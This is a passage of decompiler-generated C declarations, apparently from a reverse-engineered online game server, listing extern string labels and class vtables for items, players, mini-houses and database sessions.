aScriptinter_38[]; // idb extern char aScriptinter_43[]; // idb extern char aScriptinter_11[]; // idb extern char aScriptinter_24[]; // idb extern char aScriptinter_33[]; // idb extern char aScriptinterr_6[]; // idb extern char aScriptinter_37[]; // idb extern char aScriptinter_18[]; // idb extern char aScriptinter_30[]; // idb extern char asc_5B8A44[]; // idb extern char aShineobject_36[]; // idb extern int (__stdcall *ScriptInterrupt::ScriptInteruptWinGuild::_vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, __int16 hnd, int center); // weak extern char aWinguild[9]; // weak extern char asc_5B8B00[]; // idb extern char asc_5B8B3C[]; // idb extern char asc_5B8B78[]; // idb extern char asc_5B8BBC[]; // idb extern char asc_5B8BF0[]; // idb extern char asc_5B8C34[]; // idb extern char asc_5B8C68[]; // idb extern char asc_5B8C9C[]; // idb extern char asc_5B8CD0[]; // idb extern char asc_5B8D04[]; // idb extern char asc_5B8D34[]; // idb extern char asc_5B8D60[]; // idb extern char aCene_setweapon[19]; // weak extern char aServermenufu_6[]; // idb extern char aServermenufu_9[]; // idb extern char aServermenuacto[]; // idb extern char aServermenuac_4[]; // idb extern char aServermenuac_2[]; // idb extern char aServermenuac_0[]; // idb extern char aServermenuac_1[]; // idb extern char asc_5B8FA0[]; // idb extern char asc_5B8FDC[]; // idb extern char asc_5B9014[]; // idb extern char asc_5B9050[]; // idb extern char aSetitemdataS_4[]; // idb extern char aSetitemdataE_3[]; // idb extern char aSetitemdataE_1[]; // idb extern char aSetitemdataE_4[]; // idb extern char aSetitemdataE_0[]; // idb extern char aSetitemdataE_2[]; // idb extern char aSetitemdataE_6[]; // idb extern char aSetitemdataEff[]; // idb extern char aSetitemdataS_5[]; // idb extern char aSetitemdataS_6[]; // idb extern char aSetitemdataSet[]; // idb extern char a__9dataShineSe[]; // idb extern char aSetitemdata_10[]; // idb extern char aSetitemdataS_7[]; // idb extern char aSetitemclass_3[]; // idb extern char aSetitemclass_2[]; // idb extern char aSetitemclass_1[]; // idb extern char a__9dataShin_55[]; // idb extern char aSetitemdataS_9[]; // idb extern char aSetitemdataS_2[]; // idb extern char aSetitemdataS_0[]; // idb extern char aSetitemdataS_1[]; // idb extern char aSetitemdataSki[]; // idb extern char aAbnormalsta_66[]; // idb extern char aSetitemdataS_8[]; // idb extern char asc_5B95E8[]; // idb extern char asc_5B9618[]; // idb extern char asc_5B9654[]; // idb extern char asc_5B9690[]; // idb extern char asc_5B96E0[]; // idb extern char asc_5B972C[]; // idb extern char asc_5B9768[]; // idb extern char asc_5B97B8[]; // idb extern char asc_5B9810[]; // idb extern char asc_5B9860[]; // idb extern char asc_5B98B0[]; // idb extern char asc_5B9950[]; // idb extern char asc_5B99A8[]; // idb extern char asc_5B9A08[]; // idb extern char asc_5B9AB8[]; // idb extern char asc_5B9B10[]; // idb extern char asc_5B9B68[]; // idb extern char asc_5B9BB8[]; // idb extern char asc_5B9C18[]; // idb extern char asc_5B9C68[]; // idb extern char asc_5B9CC0[]; // idb extern char asc_5B9D18[]; // idb extern char asc_5B9D64[]; // idb extern char asc_5B9DA0[]; // idb extern char asc_5B9DE0[]; // idb extern char asc_5B9E20[]; // idb extern char asc_5B9E80[]; // idb extern char asc_5B9ED0[]; // idb extern char asc_5B9F30[]; // idb extern char asc_5B9F80[]; // idb extern char asc_5B9FD8[]; // idb extern char asc_5BA020[]; // idb extern char asc_5BA06C[]; // idb extern char asc_5BA0A8[]; // idb extern char asc_5BA0F8[]; // idb extern char asc_5BA138[]; // idb extern char asc_5BA190[]; // idb extern char asc_5BA1D8[]; // idb extern char asc_5BA220[]; // idb extern char asc_5BA278[]; // idb extern char asc_5BA2D0[]; // idb extern char asc_5BA330[]; // idb extern char aShineobject_56[]; // idb extern char aGamedbsessi_46[]; // idb extern char aGamedbsessi_47[]; // idb extern char aGamedbsessi_48[]; // idb extern char aGamedbsessi_49[]; // idb extern char aGamedbsessi_51[]; // idb extern char aGamedbsessi_50[]; // idb extern char asc_5BA530[]; // idb extern char asc_5BA574[]; // idb extern char asc_5BA5A8[]; // idb extern char asc_5BA5E0[]; // idb extern char asc_5BA624[]; // idb extern char asc_5BA658[]; // idb extern char asc_5BA69C[]; // idb extern char asc_5BA6D0[]; // idb extern char asc_5BA714[]; // idb extern char asc_5BA744[]; // idb extern char asc_5BA784[]; // idb extern char asc_5BA7B8[]; // idb extern char asc_5BA800[]; // idb extern char aGamedbsessi_53[]; // idb extern char aGamedbsessi_52[]; // idb extern char aGamedbsessi_55[]; // idb extern char aGamedbsessi_54[]; // idb extern char aGamedbsessi_56[]; // idb extern char aGamedbsessi_57[]; // idb extern char asc_5BA9B0[]; // idb extern char asc_5BA9F8[]; // idb extern char asc_5BAA30[]; // idb extern char asc_5BAA78[]; // idb extern char asc_5BAAB0[]; // idb extern char asc_5BAB00[]; // idb extern char aPlayerHnd[]; // idb extern char aCannotFind[]; // idb extern char aGamedbsessi_58[]; // idb extern char asc_5BAB8C[]; // idb extern char asc_5BABC8[]; // idb extern char asc_5BAC08[]; // idb extern char asc_5BAC4C[]; // idb extern char asc_5BAC80[]; // idb extern char asc_5BACD8[]; // idb extern char aGds_nc_itemd_1[]; // idb extern char aGds_nc_itemdb_[43]; // weak extern char aGamedbsessi_59[]; // idb extern char aGamedbsessi_60[]; // idb extern char asc_5BADF4[]; // idb extern char asc_5BAE30[]; // idb extern char asc_5BAE80[]; // idb extern char asc_5BAED0[]; // idb extern char asc_5BAF10[]; // idb extern char asc_5BAF50[]; // idb extern char asc_5BAFA8[]; // idb extern char asc_5BAFF0[]; // idb extern char asc_5BB034[]; // idb extern char aEqu3dI64u_40s[]; // idb extern char aInv3dI64u_40s[]; // idb extern char asc_5BB0A8[]; // idb extern char asc_5BB0E0[]; // idb extern char asc_5BB150[]; // idb extern char asc_5BB1D0[]; // idb extern char asc_5BB230[]; // idb extern char asc_5BB298[]; // idb extern char aGamedbsessi_61[]; // idb extern char asc_5BB338[]; // idb extern char asc_5BB378[]; // idb extern char asc_5BB3C4[]; // idb extern char asc_5BB400[]; // idb extern char aItemsmallbag_2[]; // idb extern char asc_5BB468[]; // idb extern char asc_5BB4B0[]; // idb extern char asc_5BB4F4[]; // idb extern char aIteminvento_20[]; // idb extern char aIteminvento_15[]; // idb extern char aIteminventor_6[]; // idb extern char asc_5BB5F0[]; // idb extern char asc_5BB638[]; // idb extern char asc_5BB680[]; // idb extern char asc_5BB6D0[]; // idb extern char asc_5BB730[]; // idb extern char asc_5BB780[]; // idb extern char aGamedbsessi_63[]; // idb extern char aGamedbsessi_62[]; // idb extern char aGamedbsessi_65[]; // idb extern char aGamedbsessi_64[]; // idb extern char aGamedbsessi_66[]; // idb extern char aGamedbsessi_67[]; // idb extern char asc_5BB8D8[]; // idb extern char aGamedbsessi_68[]; // idb extern char asc_5BB970[]; // idb extern char asc_5BB9D0[]; // idb extern char asc_5BBA28[]; // idb extern char asc_5BBA68[]; // idb extern char asc_5BBAB0[]; // idb extern char asc_5BBB0C[]; // idb extern char asc_5BBB40[]; // idb extern char aGamedbsessi_70[]; // idb extern char aGamedbsessi_69[]; // idb extern char aGamedbsessi_71[]; // idb extern char asc_5BBC18[]; // idb extern char asc_5BBC48[]; // idb extern char asc_5BBC94[]; // idb extern char aGamedbsessi_73[]; // idb extern char aGamedbsessi_72[]; // idb extern char asc_5BBD1C[]; // idb extern char asc_5BBD50[]; // idb extern char aDropitemgroups[66]; // weak extern char asc_5BBDD4[]; // idb extern char asc_5BBE04[]; // idb extern char asc_5BBE30[]; // idb extern char aItemdismantl_3[]; // idb extern char aItemdismantl_1[]; // idb extern char aItemdismantl_5[]; // idb extern char aItemdismantl_4[]; // idb extern char aItemdismantlep[]; // idb extern char aItemdismantl_2[]; // idb extern char asc_5BBF98[]; // idb extern char asc_5BBFE8[]; // idb extern char aGamedbsessi_75[]; // idb extern char aGamedbsessi_74[]; // idb extern char asc_5BC07C[]; // idb extern char aIteminventor_4[]; // idb extern char aIteminventoryI[]; // idb extern char aIteminventor_1[]; // idb extern char aIteminventor_0[]; // idb extern char aIteminventor_9[]; // idb extern char asc_5BC178[]; // idb extern char asc_5BC1C8[]; // idb extern char asc_5BC208[]; // idb extern char asc_5BC23C[]; // idb extern char asc_5BC2B0[]; // idb extern char asc_5BC2DC[]; // idb extern char asc_5BC318[]; // idb extern char asc_5BC35C[]; // idb extern char aGamedbsessi_76[]; // idb extern char aGamedbsessi_77[]; // idb extern char aGamedbsessi_78[]; // idb extern char aGamedbsessi_79[]; // idb extern char asc_5BC448[]; // idb extern char aShineobject_53[]; // idb extern char asc_5BC4E0[]; // idb extern char asc_5BC524[]; // idb extern char asc_5BC558[]; // idb extern char asc_5BC5B0[]; // idb extern char asc_5BC600[]; // idb extern char asc_5BC648[]; // idb extern char asc_5BC690[]; // idb extern char aGamedbsessi_81[]; // idb extern char aGamedbsessi_80[]; // idb extern char aGamedbsessi_82[]; // idb extern int (__stdcall *List::_vftable_[3])(__int16 hnd); // weak extern char asc_5BC770[]; // idb extern char asc_5BC7B8[]; // idb extern char asc_5BC800[]; // idb extern char asc_5BC844[]; // idb extern char aGamedbsessi_84[]; // idb extern char aGamedbsessi_83[]; // idb extern char aGamedbsessi_85[]; // idb extern char aGamedbsessi_87[]; // idb extern char aGamedbsessi_86[]; // idb extern char aGamedbsessi_88[]; // idb extern char asc_5BC98C[]; // idb extern char asc_5BC9C4[]; // idb extern char aIteminvento_10[]; // idb extern char aIteminventor_8[]; // idb extern char aIteminvento_14[]; // idb extern char aIteminvento_11[]; // idb extern char asc_5BCA90[]; // idb extern char asc_5BCAD8[]; // idb extern char asc_5BCB1C[]; // idb extern char asc_5BCB58[]; // idb extern char asc_5BCBA0[]; // idb extern char asc_5BCBD8[]; // idb extern char asc_5BCC1C[]; // idb extern char asc_5BCC50[]; // idb extern char asc_5BCC94[]; // idb extern char asc_5BCE50[]; // idb extern char asc_5BCE94[]; // idb extern char aItemrelocati_0[]; // idb extern char aItemrelocati_8[]; // idb extern char aItemrelocat_10[]; // idb extern char aItemrelocati_3[]; // idb extern char aItemrelocati_4[]; // idb extern char aItemrelocati_7[]; // idb extern char aItemrelocati_6[]; // idb extern char aItemrelocati_1[]; // idb extern char aItemrelocati_9[]; // idb extern char aItemrelocati_2[]; // idb extern char aItemrelocation[]; // idb extern char aGamedbsessi_91[]; // idb extern char aGamedbsessi_90[]; // idb extern char aGamedbsessi_89[]; // idb extern char aGamedbsessi_93[]; // idb extern char aGamedbsessi_92[]; // idb extern char aGamedbsessi_96[]; // idb extern char aGamedbsessi_95[]; // idb extern char aGamedbsessi_94[]; // idb extern char aGamedbsessi_98[]; // idb extern char aGamedbsessi_97[]; // idb extern char aMergeError[14]; // weak extern char asc_5BD3E8[]; // idb extern char asc_5BD418[]; // idb extern char asc_5BD454[]; // idb extern char asc_5BD480[]; // idb extern char asc_5BD4BC[]; // idb extern char aSplitmergeErro[18]; // weak extern char asc_5BD4FC[3]; // weak extern char asc_5BD500[]; // idb extern char asc_5BD538[]; // idb extern char asc_5BD56C[]; // idb extern char asc_5BD5A0[]; // idb extern char asc_5BD5E8[]; // idb extern char asc_5BD620[]; // idb extern char asc_5BD650[]; // idb extern char asc_5BD694[]; // idb extern char asc_5BD6C8[]; // idb extern char asc_5BD700[]; // idb extern char asc_5BD74C[]; // idb extern char asc_5BD784[]; // idb extern char asc_5BD7BC[]; // idb extern char asc_5BD7F0[]; // idb extern char asc_5BD828[]; // idb extern char asc_5BD85C[]; // idb extern char aShineobject_38[]; // idb extern char asc_5BD8E0[]; // idb extern char aShineobject_37[]; // idb extern char asc_5BD950[]; // idb extern char asc_5BD998[]; // idb extern char aMinigame[]; // idb extern char aTileall[]; // idb extern char aAccessory[]; // idb extern char aPlayer_1[]; // idb extern char aFurniture[]; // idb extern char asc_5BDAB0[]; // idb extern char asc_5BDAF0[]; // idb extern char asc_5BDB20[]; // idb extern char asc_5BDB58[]; // idb extern char asc_5BDBA0[]; // idb extern char asc_5BDBE0[]; // idb extern char asc_5BDC30[74]; // weak extern char asc_5BDC80[]; // idb extern char asc_5BDCD0[]; // idb extern char asc_5BDD08[]; // idb extern char asc_5BDD60[]; // idb extern char asc_5BDDA8[]; // idb extern char asc_5BDDF8[]; // idb extern char asc_5BDE3C[]; // idb extern char aIteminvento_18[]; // idb extern char aIteminvento_19[]; // idb extern char aIteminvento_12[]; // idb extern char aIteminventor_3[]; // idb extern char aIteminventor_7[]; // idb extern char asc_5BDF38[]; // idb extern char asc_5BDF98[]; // idb extern char asc_5BDFE8[]; // idb extern char asc_5BE028[]; // idb extern char asc_5BE05C[]; // idb extern char asc_5BE08C[]; // idb extern char asc_5BE0B8[]; // idb extern char asc_5BE0E8[]; // idb extern char asc_5BE114[]; // idb extern char aSplitError[14]; // weak extern char asc_5BE150[]; // idb extern char asc_5BE180[]; // idb extern char asc_5BE1AC[]; // idb extern char asc_5BE1D8[]; // idb extern char asc_5BE228[]; // idb extern char asc_5BE278[]; // idb extern char asc_5BE2C0[]; // idb extern char asc_5BE310[]; // idb extern char asc_5BE358[]; // idb extern char asc_5BE3A4[]; // idb extern char asc_5BE3D8[]; // idb extern char aItemmslog[]; // idb extern char asc_5BE58C[]; // idb extern char asc_5BE5BC[]; // idb extern char asc_5BE5EC[]; // idb extern char aItem_randomo_1[]; // idb extern char aItem_randomopt[]; // idb extern char aItem_getupgrad[]; // idb extern char aItem_isupsourc[]; // idb extern char aItem_adjupgrad[]; // idb extern char aItem_adjfailco[]; // idb extern char asc_5BE6DC[]; // idb extern char asc_5BE708[]; // idb extern char asc_5BE744[]; // idb extern char aItem_upgradeNo[]; // idb extern char aItem_upgradeTa[]; // idb extern char aShineobject_48[]; // idb extern char aShineobject_47[]; // idb extern char aShineobject_46[]; // idb extern char aShineobject_45[]; // idb extern char aShineobject_44[]; // idb extern char aShineobject_43[]; // idb extern char aShineobject_42[]; // idb extern char aShineobject_39[]; // idb extern char asc_5BEA10[]; // idb extern char asc_5BEA50[]; // idb extern char aShineobjectSo_[]; // idb extern char asc_5BEAC8[]; // idb extern char asc_5BEB00[]; // idb extern char asc_5BEB50[]; // idb extern char asc_5BEBA0[]; // idb extern char asc_5BEBE4[]; // idb extern char asc_5BEC24[]; // idb extern char asc_5BEC58[]; // idb extern char asc_5BEC80[]; // idb extern char asc_5BECB8[]; // idb extern char asc_5BECEC[]; // idb extern char aUseeffectUse_6[]; // idb extern char aUseeffectUse_4[]; // idb extern char aShineobject_52[]; // idb extern char aShineobject_51[]; // idb extern char aShineobject_50[]; // idb extern char aRoarNull[]; // idb extern char aRoarNullReturn[]; // idb extern char asc_5BEF40[]; // idb extern char asc_5BEF7C[]; // idb extern char aB[]; // idb extern char asc_5BEFC8[]; // idb extern char a010u010u010u[]; // idb extern char asc_5BF018[]; // idb extern char aCannotOutMinih[23]; // weak extern char aItemident[]; // idb extern char asc_5BF080[]; // idb extern char asc_5BF0C8[]; // idb extern char aCannotFindPlay[]; // idb extern char asc_5BF140[]; // idb extern char asc_5BF178[]; // idb extern char asc_5BF1C0[]; // idb extern char aFurniture_areD[]; // idb extern char asc_5BF208[]; // idb extern char asc_5BF244[]; // idb extern char asc_5BF274[]; // idb extern char asc_5BF2A0[]; // idb extern char asc_5BF2D0[]; // idb extern char asc_5BF308[]; // idb extern char asc_5BF340[]; // idb extern char asc_5BF378[]; // idb extern char asc_5BF3B4[]; // idb extern char asc_5BF3E8[]; // idb extern char asc_5BF424[]; // idb extern char asc_5BF458[]; // idb extern char asc_5BF490[]; // idb extern char asc_5BF4C8[]; // idb extern char aShineobject_55[]; // idb extern char aShineobject_54[]; // idb extern char asc_5BF640[]; // idb extern char asc_5BF688[]; // idb extern char asc_5BF6D0[]; // idb extern char asc_5BF708[]; // idb extern char asc_5BF73C[]; // idb extern char asc_5BF770[]; // idb extern char asc_5BF7A4[]; // idb extern char asc_5BF7E0[]; // idb extern char asc_5BF818[]; // idb extern char asc_5BF850[]; // idb extern char asc_5BF888[]; // idb extern char asc_5BF8C8[]; // idb extern int (__thiscall *MobTargetAggresiveALL::_vftable_)(MobTargetAggresive *this, #331 *, #331 *, int distancesquar); // weak extern int (__stdcall *PacketContainerBase::_vftable_)(int sklidx); // weak extern int (*ShineObjectClass::ShineObject::_vftable_[4])(); // weak extern char asc_5C03EC[]; // idb extern char asc_5C041C[]; // idb extern char asc_5C044C[]; // idb extern char asc_5C0478[]; // idb extern char aTooManyBroadca[]; // idb extern int (*ShineObjectClass::ShineDropItem::_vftable_)(); // weak extern int (*ShineObjectClass::ShineEffectObject::_vftable_)(); // weak extern int (*ShineObjectClass::ShineMagicField::_vftable_)(); // weak extern int (__thiscall *MobTargetAggresiveNoLevel::_vftable_)(MobTargetAggresive *this, #331 *, #331 *, int distancesquar); // weak extern char asc_5C2414[]; // idb extern char asc_5C244C[]; // idb extern char aErrorInKeepfro[22]; // weak extern char aSuccessToSilen[19]; // weak extern char asc_5C24A8[]; // idb extern int (__stdcall *ShineObjectManager::_vftable_[3])(__int16 hnd); // weak extern int (__stdcall *VectorClass::UnitVector::_vftable_[2])(int sklidx); // weak extern int (__stdcall *PacketContainer::_vftable_)(int hd); // weak extern char aPacketcontai_3[]; // idb extern char aPacketcontai_1[]; // idb extern char asc_5C254C[]; // idb extern char aSlantedcoord_1[]; // idb extern char aSlantedcoor_16[]; // idb extern char aSlantedcoor_10[]; // idb extern char filename[]; // idb extern char asc_5C2638[]; // idb extern char asc_5C2678[]; // idb extern char asc_5C26C0[]; // idb extern char asc_5C26EC[]; // idb extern char aShineobject_57[]; // idb extern char aShineobject_58[]; // idb extern char aShineobject_59[]; // idb extern char asc_5C27AC[]; // idb extern int (*ShineObjectClass::ShineMobileObject::_vftable_)(); // weak extern char asc_5C32EC[]; // idb extern char asc_5C3328[]; // idb extern int (__stdcall *MobTargetPlayerCaptivate::_vftable_)(int, #331 *pObj, int distancesquar); // weak extern char asc_5C33B8[]; // idb extern char asc_5C33E8[]; // idb extern char asc_5C3420[]; // idb extern char aShineobject_60[]; // idb extern char aShineobject_62[]; // idb extern char aShineobject_61[]; // idb extern char aShineobject_64[]; // idb extern char aShineobject_63[]; // idb extern char aInvalidProtoco[]; // idb extern char aDD_1[]; // idb extern char asc_5C359C[]; // idb extern int (*ShineObjectClass::ShineDoor::_vftable_)(); // weak extern int (*ShineObjectClass::ShineMiniHouse::_vftable_)(); // weak extern char asc_5C4B44[]; // idb extern char asc_5C4B74[]; // idb extern char asc_5C4BA4[]; // idb extern char asc_5C4BDC[]; // idb extern char aCharSo_disconn[]; // idb extern char asc_5C4C24[]; // idb extern char asc_5C4C64[]; // idb extern char asc_5C4C94[]; // idb extern char aShineobjecte_1[]; // idb extern char aListnoCount[]; // idb extern char aShineobjecteac[]; // idb extern char aShineobjectman[]; // idb extern char aShineobjectm_1[]; // idb extern char aShineobjectlis[]; // idb extern char aShineobjectm_6[]; // idb extern int (__stdcall *ShineCharRegnumFinder::_vftable_)(int, __int16 handle); // weak extern char aShinecharregnu[]; // idb extern int (__stdcall *ShineCharIDFinder::_vftable_)(int, __int16 handle); // weak extern char aShinecharidfin[]; // idb extern char aShineobjectm_5[]; // idb extern char aShineobjectm_3[]; // idb extern char aSlantedcoord_4[]; // idb extern char asc_5C4E6C[]; // idb extern char asc_5C4E9C[]; // idb extern char asc_5C4ED0[]; // idb extern char asc_5C4F28[]; // idb extern char asc_5C4F70[]; // idb extern char aWorldmanage_86[]; // idb extern char aWorldmanage_85[]; // idb extern char aWorldmanage_88[]; // idb extern char aWorldmanage_87[]; // idb extern char asc_5C50D0[]; // idb extern char asc_5C5118[]; // idb extern char asc_5C514C[]; // idb extern char asc_5C5188[]; // idb extern char asc_5C51C0[]; // idb extern char asc_5C5208[]; // idb extern char asc_5C523C[]; // idb extern char aWorldmanage_89[]; // idb extern char asc_5C52B0[]; // idb extern char asc_5C52F4[]; // idb extern char asc_5C5338[]; // idb extern char asc_5C5388[]; // idb extern char asc_5C53C4[]; // idb extern char asc_5C53F8[]; // idb extern char aIncorrectBit[]; // idb extern char asc_5C5444[]; // idb extern char aRegistNumberIn[]; // idb extern char aInvalidregistl[]; // idb extern char asc_5C5478[]; // idb extern char asc_5C54B4[]; // idb extern char asc_5C54F8[]; // idb extern char asc_5C5540[]; // idb extern char asc_5C5574[]; // idb extern char asc_5C55B0[]; // idb extern char asc_5C55F4[]; // idb extern char aProtocollogger[]; // idb extern char aProtocollogg_1[]; // idb extern char asc_5C5660[]; // idb extern char asc_5C5690[]; // idb extern char aListcheckstruc[]; // idb extern char aListWrong[]; // idb extern char asc_5C56F0[]; // idb extern char asc_5C5724[]; // idb extern char asc_5C574C[]; // idb extern char aSlantedcoor_14[]; // idb extern char asc_5C57BC[]; // idb extern char asc_5C57E8[]; // idb extern char asc_5C5820[]; // idb extern char aTooManyLoop[]; // idb extern char idx[]; // idb extern char asc_5C5974[38]; // weak extern char aSo_allofrang_0[]; // idb extern char asc_5C59BC[52]; // weak extern char aSo_allofrang_3[]; // idb extern char asc_5C5A04[52]; // weak extern char aSo_allofrang_4[]; // idb extern char asc_5C5A4C[52]; // weak extern char aSo_allofrangen[]; // idb extern char asc_5C5A94[]; // idb extern char asc_5C5AC8[]; // idb extern char aSo_allofrang_1[]; // idb extern char aSo_allofrang_6[]; // idb extern char aSo_allofrang_5[]; // idb extern char aSo_allofrang_7[]; // idb extern char asc_5C5B54[]; // idb extern char asc_5C5B8C[]; // idb extern char asc_5C5BC4[]; // idb extern char asc_5C5BFC[]; // idb extern char asc_5C5C3C[]; // idb extern char aShineobjectl_1[]; // idb extern char aShineobject_65[]; // idb extern char asc_5C5CF0[]; // idb extern int (__stdcall *ShineObjectEachList::_vftable_[3])(__int16 hnd); // weak extern int (*ShineObjectClass::ShineAxialFlag::_vftable_)(); // weak extern int (*ShineObjectClass::ShineMob::_vftable_)(); // weak extern int (*ShineObjectClass::ShineBandit::_vftable_)(); // weak extern int (*ShineObjectClass::ShineServant::_vftable_)(); // weak extern int (*ShineObjectClass::ShinePlayer::_vftable_)(); // weak extern char asc_5C9454[]; // idb extern char asc_5C9488[39]; // weak extern char asc_5C94B0[41]; // weak extern char asc_5C94DC[41]; // weak extern char asc_5C9508[52]; // weak extern char asc_5C953C[]; // idb extern int (*ShineObjectClass::ShineNPC::_vftable_)(); // weak extern char aShineobjectl_2[]; // idb extern char aShineobjectl_3[]; // idb extern char aShineobjectm_0[]; // idb extern char asc_5CA120[]; // idb extern char asc_5CA16C[]; // idb extern char asc_5CA1A0[]; // idb extern char asc_5CA1E4[]; // idb extern char asc_5CA218[]; // idb extern char asc_5CA254[]; // idb extern char asc_5CA284[]; // idb extern char aVoidCharatersk[]; // idb extern char aShineobjectl_4[]; // idb extern char aShineobjectl_5[]; // idb extern char a__largeobjectb[]; // idb extern char aShineobjectm_2[]; // idb extern char pcName[]; // idb extern char aBroadcastlog[]; // idb extern char aInvalidprotoco[]; // idb extern char asc_5CA3D8[]; // idb extern char asc_5CA3F4[]; // idb extern char asc_5CA410[]; // idb extern char asc_5CA434[]; // idb extern char asc_5CA458[]; // idb extern char asc_5CA474[]; // idb extern char asc_5CA494[]; // idb extern char aCoordrepairlog[]; // idb extern char aEldlocatelog[]; // idb extern char aShinemobileobj[]; // idb extern char aShineobjectShi[]; // idb extern char aShineobjectS_3[]; // idb extern char aShinemobileo_2[]; // idb extern char aShinemobileo_4[]; // idb extern char aShinemobileo_0[]; // idb extern char asc_5CA5F4[]; // idb extern int (__stdcall *AxialListDeathAura::_vftable_)(int, int, int distancesquar); // weak extern char aShineplayer_21[]; // idb extern char asc_5CA654[]; // idb extern char asc_5CA680[]; // idb extern char asc_5CA6AC[]; // idb extern char aLg[]; // idb extern char aShineplayer_12[]; // idb extern char asc_5CA710[]; // idb extern char aShineplayer_30[]; // idb extern char asc_5CA7A0[]; // idb extern char aShineplayer_26[]; // idb extern char aShineplayer_39[]; // idb extern char asc_5CA860[]; // idb extern char aShineplayerS_6[]; // idb extern char asc_5CA8DC[]; // idb extern char aShineplayerS_1[]; // idb extern char aShineplayer_25[]; // idb extern char aMysteryboltt_3[]; // idb extern char aMysteryboltt_5[]; // idb extern char aMysteryboltt_0[]; // idb extern char aShineplayer[]; // idb extern int (__stdcall *AxialListMagicFieldDamage::_vftable_)(int, int, int distancesquar); // weak extern int (__stdcall *AxialListRescueRequest::_vftable_)(int, int, int distancesquar); // weak extern char aCharSo_ply_ban[]; // idb extern char asc_5CAA38[]; // idb extern char asc_5CAA80[]; // idb extern char aPP[]; // idb extern char aSlantedlistnor[46]; // weak extern char asc_5CAAC0[]; // idb extern char asc_5CAB00[]; // idb extern char asc_5CAB68[]; // idb extern char asc_5CABB0[]; // idb extern char aFm_isinfieldsi[]; // idb extern char asc_5CAC00[]; // idb extern char asc_5CAC30[]; // idb extern char aFm_isinfield_2[]; // idb extern char asc_5CAC8C[]; // idb extern char aMinihouseErr_1[]; // idb extern char sFN[]; // idb extern char aS_0[3]; // idb extern char aMinihouseError[]; // idb extern char asc_5CAD38[]; // idb extern char aFurnitureEndur[]; // idb extern char aFurniturehnd[]; // idb extern char aEnduregrade[]; // idb extern char aIsrepair[]; // idb extern char aFm_isinfield_3[]; // idb extern char asc_5CADDC[]; // idb extern char asc_5CAE0C[]; // idb extern char aAxiallistmagic[]; // idb extern char aAxiallistmag_2[]; // idb extern char asc_5CAE9C[]; // idb extern char aAxiallistrescu[]; // idb extern char asc_5CAEF0[]; // idb extern char asc_5CAF30[]; // idb extern char asc_5CAF60[]; // idb extern char asc_5CAF98[]; // idb extern char asc_5CAFC8[]; // idb extern char asc_5CB004[]; // idb extern char aShineobject_92[]; // idb extern char asc_5CB070[]; // idb extern char asc_5CB0BC[]; // idb extern char asc_5CB0F4[]; // idb extern char asc_5CB128[]; // idb extern char asc_5CB160[]; // idb extern char asc_5CB19C[]; // idb extern char asc_5CB1D4[]; // idb extern char asc_5CB208[]; // idb extern char asc_5CB240[]; // idb extern char aFm_isinfield_6[]; // idb extern char asc_5CB288[]; // idb extern char asc_5CB2CC[]; // idb extern char asc_5CB2F8[]; // idb extern char asc_5CB340[]; // idb extern char asc_5CB370[]; // idb extern char asc_5CB3E8[]; // idb extern char asc_5CB418[]; // idb extern char asc_5CB458[]; // idb extern char asc_5CB48C[]; // idb extern char asc_5CB4C0[]; // idb extern char asc_5CB4F4[]; // idb extern char aCharAsWriteFai[]; // idb extern char asc_5CB53C[]; // idb extern char asc_5CB570[]; // idb extern char asc_5CB5A4[]; // idb extern char asc_5CB5D8[]; // idb extern char asc_5CB60C[]; // idb extern char asc_5CB640[]; // idb extern char asc_5CB674[]; // idb extern char asc_5CB6A8[]; // idb extern char asc_5CB6DC[]; // idb extern char asc_5CB714[]; // idb extern char aCharAsAbnormal[]; // idb extern char asc_5CB768[]; // idb extern char asc_5CB7A0[]; // idb extern char asc_5CB7D8[]; // idb extern char aFm_isinfield_4[]; // idb extern char asc_5CB838[]; // idb extern char asc_5CB864[]; // idb extern char asc_5CB890[]; // idb extern char aFm_isinfield_0[]; // idb extern char asc_5CB8EC[]; // idb extern char asc_5CB914[]; // idb extern char aFm_isinfield_1[]; // idb extern char asc_5CB95C[]; // idb extern char asc_5CB988[]; // idb extern char aReinforcemovel[]; // idb extern char asc_5CB9D0[]; // idb extern char asc_5CBA14[]; // idb extern char asc_5CBA48[]; // idb extern char asc_5CBA8C[]; // idb extern char asc_5CBAC0[]; // idb extern char asc_5CBB00[]; // idb extern char asc_5CBB30[]; // idb extern char asc_5CBB6C[]; // idb extern char asc_5CBBA4[]; // idb extern char asc_5CBBDC[]; // idb extern char asc_5CBC18[]; // idb extern char asc_5CBC4C[]; // idb extern char asc_5CBC80[]; // idb extern char asc_5CBCD0[]; // idb extern char asc_5CBD10[]; // idb extern char asc_5CBD50[]; // idb extern char a_IgnoreMinihou[]; // idb extern char aCannotFindPl_1[]; // idb extern char a_IgnoreMinih_1[]; // idb extern char a_IgnoreMinih_3[]; // idb extern char a_IgnoreMinih_0[]; // idb extern char a_IgnoreMinih_4[]; // idb extern char asc_5CBE80[]; // idb extern char asc_5CBEC0[]; // idb extern char aPortalCountErr[]; // idb extern char asc_5CBF28[]; // idb extern char aDbError[]; // idb extern char aNotOwner[]; // idb extern char aNotFoundMh[17]; // weak extern char aNotActiveMh[]; // idb extern char aPlayerRegnum[]; // idb extern char asc_5CBFD0[]; // idb extern char asc_5CC018[]; // idb extern char aDoesNotGetTheM[]; // idb extern char aDoesNotInTheMi[28]; // weak extern char aDoesNotActiveT[32]; // weak extern char aCannotOutMin_1[]; // idb extern char asc_5CC0C4[]; // idb extern char asc_5CC100[]; // idb extern char asc_5CC15C[]; // idb extern char asc_5CC190[]; // idb extern char asc_5CC1E4[]; // idb extern char asc_5CC228[]; // idb extern char asc_5CC278[]; // idb extern char asc_5CC2E0[]; // idb extern char asc_5CC350[]; // idb extern char asc_5CC3A8[]; // idb extern char asc_5CC3F8[]; // idb extern char aCannotEnterMin[]; // idb extern char asc_5CC450[]; // idb extern char asc_5CC530[]; // idb extern char asc_5CC578[]; // idb extern char asc_5CC5B0[]; // idb extern char asc_5CC5F4[]; // idb extern char asc_5CC638[]; // idb extern char asc_5CC680[]; // idb extern char asc_5CC6C0[]; // idb extern char asc_5CC708[]; // idb extern char asc_5CC750[]; // idb extern char asc_5CC7A0[]; // idb extern char asc_5CC7E4[]; // idb extern char asc_5CC828[]; // idb extern char asc_5CC868[]; // idb extern char asc_5CC8C0[]; // idb extern char asc_5CC908[]; // idb extern char asc_5CC954[]; // idb extern char asc_5CC990[]; // idb extern char asc_5CC9E4[]; // idb extern char asc_5CCA28[]; // idb extern char asc_5CCA80[]; // idb extern char asc_5CCAC4[]; // idb extern char 